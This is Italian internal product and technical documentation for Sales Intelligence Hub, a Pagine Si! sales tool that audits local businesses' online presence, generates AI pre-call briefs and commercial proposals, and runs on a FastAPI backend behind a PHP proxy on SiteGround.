Documentazione Sales Intelligence Hub

Panoramica

Sales Intelligence Hub (SIH) e' lo strumento interno di Pagine Si! S.p.A. che accompagna gli agenti commerciali dall'identificazione di un potenziale cliente fino alla preparazione di una proposta commerciale pronta per l'appuntamento. In sei passaggi guidati il tool raccoglie i dati digitali di un'azienda locale, ne misura la presenza online e i punti deboli, e propone i prodotti Pagine Si! piu' coerenti con il profilo emerso.

A chi si rivolge

Il prodotto serve tre profili, tutti ospitati nella stessa applicazione web:

• Agente commerciale Pagine Si! — utilizza il flusso a 6 step per ricercare prospect, costruire un audit digitale e stampare la proposta. E' l'utente principale, circa il 90% delle sessioni.
• Admin Pagine Si! — monitora l'attivita' degli agenti, gestisce l'anagrafica utenti, triage dei ticket di supporto, rotazione delle API key e supervisione dei costi AI.
• Team IT manutentore — si occupa di deploy, monitoraggio infrastrutturale, aggiornamenti di sicurezza e risposta agli incidenti. E' il destinatario principale delle cinque sezioni tecniche di questo documento.

Obiettivo funzionale: dal lead alla proposta in 6 step

1. Ricerca prospect — ricerca testuale o per area su Google Places, con filtri categoria e raggio.
2. Visibilita' locale — audit del profilo Google Business e delle recensioni, con Local Falcon per la mappa di visibilita'.
3. Web & SEO — analisi dominio via provider SEO (parole chiave posizionate, traffico organico stimato, competitor organici, keyword consigliate).
4. Social — raccolta metriche su Instagram, Facebook, TikTok, LinkedIn e YouTube.
5. Competitor Intelligence — confronto 3-way con i 2 concorrenti locali principali su Scheda Google, SEO e Social, con corona sul leader e card dedicata alle campagne pubblicitarie attive in Ad Library.
6. Diagnosi & proposta — scoring multi-pillar, selezione prodotti dal catalogo e stampa PDF. Brief Commerciale AI con bottone «Invio rapido» in 2 click.
7. Hub/Dashboard — storico prospect, pipeline personale, notifiche e ticket.

Dimensione attuale della codebase

Alla versione di riferimento di questa documentazione, l'applicazione conta:

• ~80 endpoint REST organizzati in 8 router tematici (auth, system, prospects, admin, feedback, notifications, external, batch).
• ~150 test pytest divisi in 18 moduli (auth, prospects, scoring, batch, social, admin, cache, smoke).
• ~15 pagine HTML statiche che costituiscono il frontend, piu' una libreria di moduli JS condivisi (sih-*.js) e un unico foglio di stile (sih-premium.css).
• Un database relazionale con 14 tabelle principali, dalle anagrafiche agli snapshot social alla coda di job batch.

Stack ad alto livello

Integrazioni esterne

SIH delega la raccolta dati a sei provider specializzati, senza mai esporre le API key al browser (tutte le chiamate transitano dal backend):

• Google Places API (New) — anagrafica, categorie, recensioni, foto.
• Local Falcon — scan di visibilita' locale (mappa SoLV/ARP).
• SEOzoom — metriche SEO di dominio, parole chiave posizionate, traffico organico, competitor organici. (Nota storica: SE Ranking era il provider precedente, disabilitato in prod dal 20 aprile 2026 per contenimento costi. Client dormiente in sorgente.)
• ScrapeCreators — estrazione di metriche social multi-piattaforma + Ad Library Meta/Google/LinkedIn.
• YouTube Data API v3 — metriche canale YouTube (ufficiale, fallback su ScrapeCreators).
• Anthropic — interpretazioni AI lato consulente (9 personas definite nel backend, 7 esposte lato UI: Sentiment e Gestione Obiezioni temporaneamente oscurate dal 21 aprile 2026).

Flusso commerciale in 6 step

Il cuore di Sales Intelligence Hub e' un percorso guidato in sei step che accompagna l'agente commerciale dalla ricerca di un prospect locale fino alla stampa della proposta. Ogni step e' una pagina dedicata che passa il testimone alla successiva tramite memoria locale del browser: non devi ricopiare nulla, finche' resti nello stesso computer i dati di un prospect restano disponibili sugli step a valle.

Come i dati passano tra gli step

Quando selezioni un prospect allo Step 1 e lanci l'audit, SIH salva il suo profilo nel localStorage del browser. Gli step 2-5 lo rileggono in automatico: non devi selezionare di nuovo il business, lo trovi gia' caricato all'apertura della pagina. Se torni indietro (es. da Step 4 a Step 2) non perdi il lavoro: i dati grezzi del prospect restano in memoria, devi solo eventualmente rilanciare le analisi che richiedono crediti (scan Local Falcon, scan social).

Step 1 — Ricerca prospect

Pagina: 01-ricerca-prospect.html. Il punto di ingresso. Qui costruisci la lista delle attivita' locali da analizzare, sfruttando i dati del profilo pubblico Google.

Due modalita' di ricerca

• Per citta' (default) — inserisci una categoria (es. ristorante, parrucchiere, centro estetico) e una citta' (Bologna, Milano, Roma). SIH interroga Google e restituisce fino a qualche decina di risultati per query, con la possibilita' di caricarne altri via paginazione. Accanto alla citta' c'e' un campo CAP facoltativo (5 cifre, es. 20121): se compilato, la ricerca si restringe a quella zona — utile nelle aree metropolitane per concentrarsi sul quartiere di competenza. Lasciato vuoto, la ricerca resta sull'intera citta'. Il CAP viene salvato anche nelle ricerche preferite.
• Per raggio — inserisci un indirizzo preciso (via e numero civico) e un raggio in chilometri (1, 2, 5, 10, 20 o 50 km). Utile per mappare una zona commerciale specifica o il quartiere di un cliente gia' esistente che vuole referral, anziche' ragionare per citta' intera.

Il selettore Per citta' / Per raggio e' in alto alla pagina: cambiando modalita' il form si adatta automaticamente ai campi richiesti.

Badge opportunita'

Ogni card risultato mostra un badge che sintetizza quanto quel prospect sia un buon target commerciale. La classificazione incrocia assenza di sito, numero di recensioni, rating, foto, completezza orari e altri segnali visibili nel profilo Google:

Passando il mouse sul badge vedi il tooltip con l'elenco puntuale dei segnali che hanno determinato la classificazione (es. Nessun sito web - Meno di 5 recensioni - Rating assente). Questi segnali sono gli stessi che userai come leva commerciale in chiamata.

Filtri, ordinamento, viste

• Filtri chips rapidi sotto la ricerca: Senza sito, Rating 4+, Almeno 10 recensioni, Solo hot, Operativo, Disponibili. Si combinano tra loro.
• Filtro per stato di lavorazione: SIH riconosce i prospect che tu o altri agenti avete gia' toccato. Le card lockate (vedi Sistema lock) sono grigiate e non selezionabili.
• Vista lista / mappa: il toggle in alto a destra sulla barra risultati passa da griglia di card a mappa Leaflet con pin colorati per tier di opportunita'.
• Carica di piu': pulsante in fondo ai risultati per pescare altre pagine Google senza perdere la selezione corrente.

Cache locale per risparmiare chiamate

Quando rilanci la stessa ricerca entro 24 ore, SIH la serve dalla cache del browser: vedrai apparire un piccolo badge Da cache accanto al titolo dei risultati. Non consumi nuove chiamate Google e la lista si carica istantaneamente. Se vuoi forzare il refresh, ricarica la pagina con Ctrl+F5 o cambia anche un solo parametro della query.

Step 2 — Visibilita' Locale

Pagina: 02-visibilita-locale.html. Tutto quello che riguarda la presenza sulla mappa e sulla scheda Google del prospect, in un'unica vista consolidata.

Profilo Google Business dettagliato

• Foto della scheda (copertina + galleria), con fallback sicuro se Google ne espone poche.
• Orari completi, indirizzo, telefono, sito auto-rilevato.
• Categorie assegnate, inclusa la primaria.
• Mappa embed per verificare che il pin sia nella posizione giusta.
• Recensioni intelligenti: SIH pesca fino a 5 migliori e 5 peggiori recensioni reali in italiano (quando disponibili), cosi' puoi preparare la telefonata citando esempi concreti di ringraziamento o di lamentele ricorrenti.

Local SEO Scan integrato (Local Falcon)

Dalla stessa pagina puoi lanciare una grid-scan che misura dove il prospect appare sui risultati mappa di Google per una keyword scelta, in una griglia 5x5 attorno alla sede. Il risultato e' una heatmap: verde = top 3, giallo = top 10, rosso = fuori classifica. Ti dice a colpo d'occhio dove il cliente e' visibile e dove sta sparendo rispetto alla concorrenza.

Cosa guardare per capire se un prospect e' pronto

• Rating medio < 4.0 o meno di 10 recensioni → pretesto per il pacchetto gestione reputazione.
• Zero o poche foto owner → gancio immediato sull'onboarding scheda Google.
• Heatmap quasi interamente rossa fuori dal raggio della sede → il business e' invisibile gia' a 2 km. E' il tipo di evidenza che chiude una chiamata.
• Sito non rilevato o sito scaduto → priorita' #1 sul Sito Ready.

Step 3 — Web & SEO

Pagina: 03-web-seo.html. Analisi del dominio web del prospect (se ce l'ha) usando metriche SEO professionali di mercato.

• Overview dominio: traffico organico stimato, numero di keyword posizionate, indice di autorita'.
• Backlinks: quanti domini rimandano al sito, qualita' complessiva, trend di acquisizione.
• Keyword top: le parole chiave per cui il sito si posiziona meglio, utile per capire il focus attuale e dove mancano ancora i termini chiave per il settore.
• Competitor gap: chi sono i competitor organici reali (non quelli dichiarati dal cliente) e quali keyword loro presidiano e il prospect no. E' la base del discorso "ecco dove perdete traffico contro il vostro concorrente principale".

Modalita' opportunita'

Quando il dominio ha meno di una ventina di keyword posizionate o un traffico stimato minimale, SIH attiva automaticamente la modalita' Opportunita': invece di mostrarti una tabella vuota, recupera le keyword del mercato di riferimento (cosa cercano oggi i clienti locali di quella categoria) e le presenta come potenziale non ancora sfruttato. Il messaggio commerciale diventa: "non e' che non serviate, e' che non vi trovano".

Step 4 — Social

Pagina: 04-social.html. Presenza del prospect su Facebook, Instagram, TikTok, YouTube e LinkedIn.

• Follower, engagement rate, frequenza media di pubblicazione.
• Ultimi contenuti pubblicati per ogni canale con anteprima.
• Red flag: account abbandonato da mesi, nessun contenuto video, link rotto dal sito.
• Storico dei scan precedenti per vedere se l'attivita' sta crescendo o si e' fermata.

SIH tenta prima la detect automatica dei link social a partire dal sito del prospect. Se la detect non trova nulla o e' incompleta puoi inserire manualmente gli handle dei canali prima di lanciare lo scan.

Step 6 — Diagnosi & Proposta

Pagina: 06-diagnosi-proposta.html. Lo step finale. Qui SIH ricompone tutti i dati raccolti in uno Score pesato 0-100 e ti costruisce una proposta commerciale stampabile basata sul catalogo PagineSi.

Scorecard a 5 pilastri

Il punteggio finale combina cinque pilastri che, insieme, valgono 100:

Il peso di ogni pilastro cambia in base al settore del prospect: un ristorante ha Reputation molto piu' alto di un B2B industriale, dove pesa di piu' il SEO. SIH gestisce 9 profili settore (food/hospitality, beauty/wellness, retail, servizi professionali, automotive, salute, casa/edilizia, eventi, altro) ognuno con il proprio mix di pesi.

Proposta commerciale e tier

Sulla base dello score e dei gap emersi, SIH propone una selezione di prodotti dal catalogo PagineSi organizzati in tre livelli:

• Essential — il minimo indispensabile per chiudere i gap piu' gravi.
• Growth — pacchetto di crescita, consigliato come sweet spot.
• Dominance — set completo per chi vuole dominare il territorio.

Puoi rimuovere prodotti, aggiungerne altri a mano e ricalcolare il totale in tempo reale. Il pulsante Stampa proposta genera un PDF brandizzato pronto da portare all'appuntamento o da inviare via mail al cliente.

Snapshot storicizzato

Ogni volta che salvi un audit, SIH registra uno snapshot datato dello score e dei pilastri. Lo trovi nella timeline del prospect in Dashboard e ti permette di dire al cliente, mesi dopo: "ad aprile eravate a 42, oggi siete a 68, ecco cosa abbiamo fatto".

I 7 Consulenti AI

I Consulenti AI sono figure specializzate disponibili nelle pagine di analisi (Step 2, 3, 4 e 5). Ognuno legge i dati grezzi raccolti fino a quel punto e ti produce un brief pre-appuntamento in linguaggio naturale: cosa dire al cliente, in che ordine, con quale gancio di vendita. Non sostituiscono l'agente, ti fanno risparmiare tempo sulla preparazione.

Elenco dei consulenti disponibili

Gap-aware: sempre utili, anche con dati scarsi

Il principio di design piu' importante dei Consulenti AI e' che non rifiutano mai l'analisi per dati insufficienti. Anche quando mancano pezzi (nessun sito, scan non eseguito, zero recensioni), il consulente produce comunque un output completo dove le assenze diventano opportunita' commerciali, con tanto di frase-gancio pronta da usare e prodotto PagineSi suggerito.

Ogni risposta termina con una sezione dedicata Gap e opportunita' aperte in cui trovi, per ciascuna lacuna rilevata:

• cosa significa per il prospect (in termini commerciali, non tecnici);
• il prodotto PagineSi di riferimento;
• la frase che puoi dire al cliente in chiamata.

Codici gap riconosciuti

SIH segnala esplicitamente al modello i seguenti codici di assenza:

Cache delle risposte

Ogni analisi AI viene salvata in cache a livello prospect + persona per 7 giorni. Se rilanci lo stesso consulente sullo stesso prospect entro una settimana, SIH ti restituisce la risposta gia' generata senza consumare nuovi costi AI. La cache scade automaticamente dopo 7 giorni, oppure puoi forzare il re-run con l'apposito pulsante accanto al risultato.

Dashboard agente e storico

SIH offre due pannelli di controllo complementari: uno orientato ai prospect e al loro stato di lavorazione, l'altro piu' "hub personale" dell'agente.

Storico Prospect (dashboard.html)

E' l'elenco di tutti i prospect su cui hai lavorato, con la possibilita' di riaprire un audit passato. Accedi dal pulsante Storico Prospect nell'header dell'applicazione.

• Filtri combinabili: per stato lavorazione (aperto, in trattativa, proposta inviata, chiuso won/lost), per parola chiave su nome, per citta', per categoria.
• Chip cliccabili sopra la lista: un click su una categoria o una citta' filtra la vista a solo quel segmento.
• Tag liberi per ogni prospect (es. richiamare lunedi', referral Mario, offerta marzo): aggiunti con un click, fino a 20 per prospect.
• Note libere in stile CRM: puoi scriverci qualsiasi cosa utile (esito chiamata, nome del titolare, orari preferiti), fino a 5000 caratteri per prospect.
• Timeline audit: per ogni prospect vedi l'elenco degli snapshot salvati (data, score complessivo, autore). Cliccando uno snapshot torni allo stato di quell'audit e puoi riaprire la proposta.

Dashboard Utente (user-dashboard.html)

E' l'hub personale dell'agente: accedi dal pulsante verde Dashboard nell'header. Oggi raccoglie:

• I miei ticket: widget dedicato con tutti i ticket di feedback che hai aperto tu e il loro stato corrente (vedi Sistema ticket).
• Performance: tab dedicata con le tue KPI mensili (prospect nuovi, won, lost, proposte inviate), grafico trend a 12 mesi, top categorie e top citta' su cui chiudi di piu'.

Gli admin hanno due dashboard: quella utente (uguale a tutti gli agenti) e la dashboard admin (admin.html) dedicata a triage ticket, log attivita', gestione API key e utenti.

Sistema lock prospect (cross-agente)

In un team commerciale due agenti possono finire, senza saperlo, a lavorare lo stesso prospect. Il sistema di lock evita la sovrapposizione garantendo che, una volta avanzato, un prospect resti in gestione esclusiva di chi lo ha portato avanti.

Come funziona

Quando un agente porta un prospect a proposta inviata scatta un lock esclusivo valido per 7 giorni (dal 2026-05-15 v2.20.6 — prima erano 3). Per lo stato chiuso won il lock e' permanente (il prospect e' diventato cliente firmato). In questa finestra gli altri agenti vedono il prospect ma non possono:

• selezionarlo dai risultati di ricerca (checkbox disabilitato);
• aggiungerlo a un batch di analisi;
• avanzarlo nel proprio flusso.

Il prospect lockato viene mostrato con stile grigiato (opacita' ridotta, effetto desaturato) e un badge rosso In gestione da [nome agente]. Passando il mouse sul badge vedi il tooltip con la data di scadenza del lock.

Promemoria automatici pre-scadenza

L'owner riceve due promemoria automatici via notifica in app: il primo 3 giorni prima della scadenza del lock, il secondo 1 giorno prima. Ogni notifica linka direttamente alla scheda del prospect. Lock che durano meno di 3gg ricevono solo il promemoria piu' vicino alla scadenza. Dedupe per offset: nessun spam.

Quando il lock si libera

• Dopo 7 giorni dall'ultimo aggiornamento (proposta_inviata), oppure mai (chiuso_won).
• Se il prospect viene messo in stato chiuso lost: si libera subito, cosi' un altro agente puo' tentare un approccio diverso.
• Se l'owner clicca il bottone "Rilascia lead" sulla scheda nella sua dashboard utente: rilascio volontario, lo stato torna ad "aperto" (solo per proposta_inviata; chiuso_won resta admin-unlock-only).
• Se un admin decide di forzare un rilascio globale (emergenza team, riorganizzazione portafogli): esiste una funzione dedicata nella dashboard admin.

Il sistema e' attivo dal 2026-04-19 (Fase 1). Il batch di analisi massive (Fase 2) rispetta le stesse regole: i prospect lockati vengono saltati in automatico e segnalati nel report del batch.

Feedback e sistema ticket

SIH integra un sistema di ticket bidirezionale tra agenti e team admin: segnali un bug o una richiesta, il team lo raccoglie, ti risponde, tu ricevi la notifica. Niente mail, niente riunioni improvvisate.

Aprire un ticket

In ogni pagina c'e' un pulsante fluttuante in basso a destra con l'icona di commento: cliccandolo apre il modulo di feedback. Cosa puoi inviare:

• testo libero con la descrizione del problema o della richiesta;
• (opzionale) screenshot della pagina corrente, allegato con un click;
• SIH allega automaticamente in background URL, viewport e eventuali errori JS in console, cosi' il team tecnico ha il contesto senza doverlo chiedere.

Stati del ticket

I miei ticket

Nella Dashboard Utente trovi il widget I miei ticket con l'elenco completo di quelli che hai aperto. Gli stati attivi (Open, In valutazione, In lavorazione) sono in evidenza, quelli chiusi restano consultabili in una sezione dedicata in fondo al widget.

Notifiche di risposta

Quando un admin risolve un tuo ticket ricevi automaticamente una notifica in-app (vedi Notifiche), sia come bell icon nell'header sia come toast in basso a destra per qualche secondo. Il toast e' cliccabile: apre direttamente il ticket risolto.

Sistema notifiche in-app

SIH ti avvisa di tutto cio' che ti interessa sapere mentre lavori, senza richiedere di controllare manualmente lo stato di nulla.

Bell icon nell'header

Ogni pagina ha un'icona a forma di campanello in alto a destra. Mostra un pallino rosso con il numero di notifiche non lette. Cliccandolo si apre un pannello laterale con l'elenco cronologico di tutte le tue notifiche.

• Le notifiche non lette sono evidenziate in grassetto.
• Cliccando su una notifica ti porta alla risorsa collegata (ticket, prospect, batch, scheda admin).
• Il pulsante Segna tutte come lette azzera il contatore in un colpo.

Toast in tempo reale

Mentre lavori, se arriva una nuova notifica compare in basso a destra un toast (rettangolino bianco con titolo e sottotitolo Clicca per vedere). I toast:

• restano visibili qualche secondo e poi si chiudono da soli;
• si impilano verticalmente se ne arrivano piu' di uno in rapida successione;
• cliccabili: un click apre la risorsa e contestualmente marca la notifica come letta.

Tipologie di notifica

Suggerimenti per un uso efficace

Qualche consiglio pratico per sfruttare al meglio SIH fin dalle prime sessioni, raccolto dagli agenti che lo usano quotidianamente.

1. Parti dalla Demo, non dalla prima chiamata

La prima volta che apri una pagina clicca sempre il pulsante Demo. In dieci secondi hai un prospect fittizio caricato e puoi provare tutti i flussi senza consumare crediti e senza il rischio di sporcare il database con prove. Quando ti senti sicuro, torna allo Step 1 e lavora su un lead reale.

2. Usa il raggio sulle zone "calde"

La ricerca per citta' e' comoda ma pesa come un singolo pin gigantesco sulla mappa. Quando sai che vuoi presidiare una zona specifica (il centro storico di un paese, una via commerciale, il quartiere vicino a un tuo cliente soddisfatto che ti ha dato referral), passa alla ricerca per raggio con 1 o 2 km: i risultati sono molto piu' mirati e l'apertura a freddo e' piu' credibile.

3. Attiva i Consulenti AI anche sui prospect "vuoti"

L'istinto e' di saltare il consulente quando mancano dati. Fai l'opposto: sono proprio i prospect senza sito, senza scan, senza recensioni quelli in cui l'AI ti da' di piu', perche' trasforma ogni assenza in una leva di vendita pronta con tanto di frase-gancio e prodotto consigliato. Vedi la sezione gap-aware.

4. Salva lo snapshot prima di cambiare pacchetto

In Step 5, prima di giocare con la selezione prodotti (aggiungi, togli, cambia tier), salva l'audit. Lo snapshot congela lo score attuale nella timeline del prospect e ti permette di tornare alla versione precedente se cambi idea. Se salvi solo alla fine, perdi le versioni intermedie.

5. Stampa la proposta prima di alzare il telefono

Il PDF della proposta non e' solo per il cliente: e' il tuo bigliettino di chiamata. Stampalo o aprilo su un secondo schermo prima del colloquio. Tieni a portata di mano la sezione Gap e opportunita' dei Consulenti AI: e' letteralmente lo script che hai preparato, con prezzi e risposta alle obiezioni gia' pronti.

Requisiti tecnici

Requisiti minimi per installare, eseguire e mantenere SIH in produzione o in un ambiente di staging/dev locale. Le versioni indicate come target sono quelle di riferimento in CI; le versioni prod riflettono cio' che gira effettivamente sul VPS SiteGround alla data di questo documento.

Server

Network

Il backend effettua chiamate HTTPS outbound verso i seguenti host. Se l'infrastruttura ha un firewall egress, sono gli unici domini che serve autorizzare:

• places.googleapis.com — Google Places API (New)
• www.googleapis.com/youtube/v3 — YouTube Data API
• api.localfalcon.com — Local Falcon REST API
• api.seranking.com — SE Ranking API (provider dismesso 2026-04-20, host non piu' contattato in prod)
• api.scrapecreators.com — scraping social
• api.anthropic.com — AI personas
• *.ingest.sentry.io — error monitoring

Per il traffico inbound bastano la porta 443 (web + API) e la 18765 (SSH, secondo la convenzione di porting SiteGround).

Client (browser)

Il frontend e' vanilla ES2017+ senza transpilazione. Le funzionalita' richieste sono disponibili su tutte le versioni browser supportate dagli ultimi 2-3 anni:

• Chrome 100+, Firefox 100+, Safari 15+, Edge 100+
• JavaScript ES2017+ (async/await, optional chaining, nullish coalescing)
• localStorage abilitato — usato per passare proposal_data tra gli step e per la cache del buildId
• Connessione internet permanente (non esiste modalita' offline)

Librerie di terze parti caricate a runtime dalle pagine che ne hanno bisogno. Dalla v2.45.0 gli script non arrivano piu' da CDN pubblici ma sono self-hosted in /vendor/ (vedi Sicurezza > CSP):

• Leaflet — visualizzazione mappa Local Falcon (Step 2). Self-hosted in /vendor/.
• Chart.js — grafici storici nella dashboard. Self-hosted in /vendor/.
• Sentry Browser SDK — monitoraggio errori frontend. Bundle self-hosted in /vendor/.
• Google Fonts — font Inter e JetBrains Mono. Unica risorsa ancora remota: resta su fonts.googleapis.com/fonts.gstatic.com, quindi compare solo in style-src e font-src, mai in script-src.

Dipendenze Python principali

Elenco delle dipendenze minime richieste, cosi' come dichiarate in requirements_fastapi.txt. I range sono pinati stretti per garantire riproducibilita' tra locale, CI e prod.

Architettura

SIH e' un'applicazione web classica a tre livelli, con un layer di proxy PHP davanti al backend Python per convivere con la piattaforma managed di SiteGround (Nginx edge + Apache, cron privato, niente systemd). Questa sezione descrive i componenti, il flusso di una richiesta tipica e le strategie di self-healing.

Diagramma a componenti

+----------------------------+
|  Browser (agente/admin)   |
|  Chrome/Firefox/Safari    |
|  HTML + JS vanilla        |
+-------------+--------------+
              |  HTTPS 443
              v
+----------------------------+
|  SiteGround edge (Nginx)  |
|  - nessuna auth (no       |
|    Basic Auth: verificato |
|    2026-07-26)            |
|  - Cache proxy (bypassato |
|    su /api/* via headers) |
+-------------+--------------+
              |
              v
+----------------------------+
|  Apache + .htaccess       |
|  - maintenance redirect   |
|  - /api/*  -> proxy.php   |
+-------------+--------------+
              |
              v
+----------------------------+
|  proxy.php (locale)       |
|  curl -> unix socket UDS  |
|  retry+respawn on curl err|
+-------------+--------------+
              |
              v
+----------------------------+
|  FastAPI / Uvicorn        |
|  server_fastapi.py        |
|  8 router + core helpers  |
+---+-----------+------------+
    |           |
    v           v
+--------+  +------------------+
| MySQL  |  | API upstream     |
| (SG)   |  | Google / LF / SE |
|        |  | SC / YouTube /   |
|        |  | Anthropic        |
+--------+  +------------------+
  

Frontend

Ogni pagina (01-ricerca-prospect.html … 06-diagnosi-proposta.html, oltre a index.html, dashboard.html, user-dashboard.html, admin.html, changelog.html, maintenance.html) e' un HTML autonomo servito come file statico. Non c'e' SPA, non c'e' bundler: le pagine condividono un design system unico (sih-premium.css) e una libreria di moduli JS condivisi (sih-topbar.js, sih-flowbar.js, sih-notifications.js, sih-feedback.js, sih-my-tickets.js, sih-cache-buster.js, sih-audit.js, …). Il passaggio di dati tra gli step avviene in localStorage, sotto la chiave sih_proposal_data.

Page scripts esterni (page-*.js, Sprint 3 / v2.11.0)

Per abilitare una CSP script-src 'self' senza 'unsafe-inline', tutti i blocchi <script>...</script> inline sono stati estratti in 19 file dedicati, uno per HTML, con naming convention page-<basename>.js. Esempio: la logica di 01-ricerca-prospect.html vive in page-01-ricerca-prospect.js, quella di admin.html in page-admin.js.

• Caricamento con defer: il tag <script defer src="page-foo.js?v=..."></script> e' posto nell'<head> in modo che il download del JS avvenga in parallelo al parsing HTML (no blocking), con esecuzione garantita dopo DOMContentLoaded. In pratica l'HTML si renderizza piu' rapidamente.
• Pattern 1 — id-based addEventListener. Gli ex onclick="..." inline sono stati convertiti a document.getElementById('btnFoo').addEventListener('click', ...) dentro il page-script. La precondizione (eseguire dopo DOMContentLoaded) e' garantita dal defer.
• Pattern 2 — data-action delegation per elementi creati dinamicamente (righe di tabella, card paginate). Il markup espone data-action="open-prospect" e il page-script fa un singolo addEventListener('click', ...) sul container, smistando via e.target.closest('[data-action]'). Zero listener proliferanti quando i dati vengono ri-renderizzati.

Cache-busting ?v=<VERSION>

Lo script bump_version.py (eseguito ad ogni rilascio) riscrive in-place il query string ?v=<VERSION> di tutti i riferimenti a auth-guard.js, sih-*.js, page-*.js, sih-version.js. Questo bypassa in maniera deterministica la cache proxy Nginx SiteGround: ad ogni bump versione gli utenti scaricano la versione nuova la prima volta che atterrano sulla pagina, senza bisogno di hard reload manuale. Per la cache di runtime (build drift mentre la tab e' aperta), sih-cache-buster.js offre un banner di reload quando il buildId remoto cambia.

Proxy layer

proxy.php riceve ogni richiesta /api/* (come indicato in .htaccess), la inoltra via cURL al processo uvicorn sul unix socket /home/customer/sih_uvicorn.sock (CURLOPT_UNIX_SOCKET_PATH; fino a v2.45.6 era TCP 127.0.0.1:5049), e restituisce la risposta al client. Il proxy:

• Propaga metodo, body e header selettivi (Content-Type, X-Auth-Token).
• Rimuove Cache-Control upstream e impone no-store per neutralizzare la cache edge di SiteGround (Nginx).
• Se cURL fallisce (backend morto o in crash-loop), richiama in-process healthcheck.php per respawnare uvicorn e ritenta una volta prima di restituire 502.

Backend

Un singolo processo uvicorn esegue server_fastapi:app. Dal refactor T1 (2026-04-20) il file principale e' ~500 righe: inizializza Sentry, il client Anthropic, i middleware (CORS, security headers, metriche, origin check, attach agent_id) e include 8 router tematici:

• routers/auth.py — login, logout, me, password reset, rate limit in-memory.
• routers/system.py — status, build version, frontend settings, cache stats, shutdown interno.
• routers/prospects.py — prospect, agents/me, tag, analisi, eliminazione.
• routers/admin.py — overview, activity, alert, agenti, secrets, AI usage, metriche.
• routers/feedback.py — ticket bug/feature, triage admin, auto-notify.
• routers/notifications.py — notifiche in-app, broadcast admin.
• routers/external.py — Google Places, Local Falcon, SEOzoom, SE Ranking (client dormiente, dismesso 2026-04-20), social, AI personas.
• routers/batch.py — code di job batch + worker loop startup.

Gli helper condivisi vivono in core.py: current_agent, require_admin, _log, secret registry e cache, metriche in-memory, lock esclusivo sui prospect in stato proposta_inviata/chiuso_won. Questo layer ha rotto il vecchio circular import tra server_fastapi e i router.

Database

Il layer persistente e' MySQL 8 managed da SiteGround (db9kgkzzz8x5gs). Il codice gira indifferentemente su SQLite locale per lo sviluppo. Le 14 tabelle principali sono:

Colonne di sicurezza su agents (v2.45.0)

Integrazioni esterne

Tutte le chiamate ai provider transitano dal backend: nessuna API key e' mai esposta al browser. Le risposte sono cachate in api_cache con TTL per endpoint per ridurre i costi.

Monitoring

• Sentry (backend + frontend) — errori e traces. DSN letto dalla tabella secrets all'avvio.
• Uvicorn log su file /home/customer/uvicorn_prod.log, ruotato a 2MB da healthcheck.php.
• ActivityLog DB — tabella append-only letta dal pannello admin per KPI e alert.
• Restart log strutturato — /home/customer/uvicorn_restarts.jsonl, scritto da healthcheck.php.
• Metriche in-memory — latenza e count per endpoint (p95, errori), senza Prometheus; esposte via /api/admin/metrics.

Self-healing

La piattaforma managed SiteGround non espone systemd e ha una shell ristretta (niente ps, pgrep, kill in senso generico). La resilienza e' ottenuta combinando:

• healthcheck.php — probing su /api/status via unix socket; se down, uccide il PID stale, rimuove il socket file stale e respawna uvicorn sullo stesso socket. Usa un lock file per evitare race tra cron e proxy.
• proxy.php — in caso di errore cURL verso il backend, richiama healthcheck.php inline e ritenta una volta prima di tornare 502 al client.
• Cron SiteGround — chiamata a healthcheck.php?cb=<timestamp>&token=<RELOAD_TOKEN> ogni 5 minuti. Il query string variabile e' indispensabile per bypassare la cache Nginx aggressiva; il token e' obbligatorio da v2.45.0 per il ramo di restart (vedi sotto).
• PID file — un wrapper Python invocato da healthcheck.php scrive os.getpid() in /home/customer/uvicorn_prod.pid all'avvio e lo rimuove via atexit. reload.php legge questo file per inviare SIGTERM/SIGKILL in deploy.

Flusso tipico di una richiesta

1. Il browser invia GET /api/prospects con header X-Auth-Token.
2. L'edge Nginx SiteGround inoltra ad Apache senza applicare alcuna autenticazione (nessun Basic Auth) e senza accodare nulla a X-Forwarded-For.
3. Apache consulta .htaccess: se il maintenance_mode.flag esiste, redirige a /maintenance.html (tranne /api/*, che resta raggiungibile). Altrimenti rewrite a proxy.php.
4. proxy.php forwarda via cURL sul unix socket /home/customer/sih_uvicorn.sock.
5. Uvicorn riceve la richiesta; il middleware _attach_agent_id decodifica il JWT e mette request.state.agent_id.
6. Il router prospects interroga il DB via SQLAlchemy e restituisce JSON.
7. Il middleware metriche registra latenza ed eventuali errori 5xx.
8. proxy.php inoltra la risposta al browser, imponendo no-store per aggirare la cache edge.

Refactor recenti

Due interventi strutturali hanno plasmato l'architettura attuale:

• T1 (2026-04-20) — server_fastapi.py portato da 4700 righe a ~500, 79 endpoint ripartiti in 8 router. Helper condivisi estratti in core.py, lock-system contestualmente integrato.
• T4 (2026-04-20) — upgrade stack: FastAPI 0.88 → 0.119 (prod 0.136), Pydantic v1 → 2.13, Starlette 0.22 → 1.0, Uvicorn 0.20 → 0.34 (prod 0.44). Convertito on_event in lifespan.

Installazione e deploy

Questa sezione descrive sia l'installazione da zero di un ambiente di produzione SIH su un VPS SiteGround, sia il processo di deploy degli aggiornamenti, e le procedure di rollback e maintenance mode.

Installazione da zero

Prerequisito: un container VPS SiteGround attivo, con PHP 8+, Python 3.14 e MySQL gia' provisionati tramite Site Tools.

1. Predisporre il document root. Verificare che /home/customer/www/giuseppef73.sg-host.com/public_html/ sia la root del dominio e che Apache serva i file da li'.
2. Upload dei sorgenti. Clonare o copiare l'intera directory Prototipo/ dentro il document root. In alternativa usare il primo deploy via deploy_fastapi.py dallo workstation (che ha gia' la lista completa dei file in FILES + DIRS = ['tests', 'routers']).
3. Installare le dipendenze Python.

   python3 -m pip install -r requirements_fastapi.txt

   In prod, SiteGround fornisce gia' la maggior parte delle dipendenze compatibili: verificare con pip list che fastapi, pydantic, uvicorn, SQLAlchemy, bcrypt, anthropic e sentry-sdk siano alle versioni previste.
4. Creare database e utente MySQL. Dal pannello Site Tools SiteGround, creare un database dedicato e un utente con privilegi SELECT/INSERT/UPDATE/DELETE/CREATE/ALTER/INDEX e charset utf8mb4. Esempio di connection string:

   mysql+pymysql://USER:PASSWORD@localhost:3306/DATABASE?charset=utf8mb4

5. Creare il file /home/customer/sih.env (chmod 0600, fuori dal document root). Contiene le credenziali runtime che healthcheck.php legge allo spawn di uvicorn:

   MYSQL_HOST=localhost
   MYSQL_USER=...
   MYSQL_PASSWORD=...
   MYSQL_DATABASE=db9kgkzzz8x5gs
   SIH_JWT_SECRET=<32+ byte random>
   SENTRY_DSN=...                     # opzionale
   RELOAD_TOKEN=<12+ caratteri>   # per reload.php
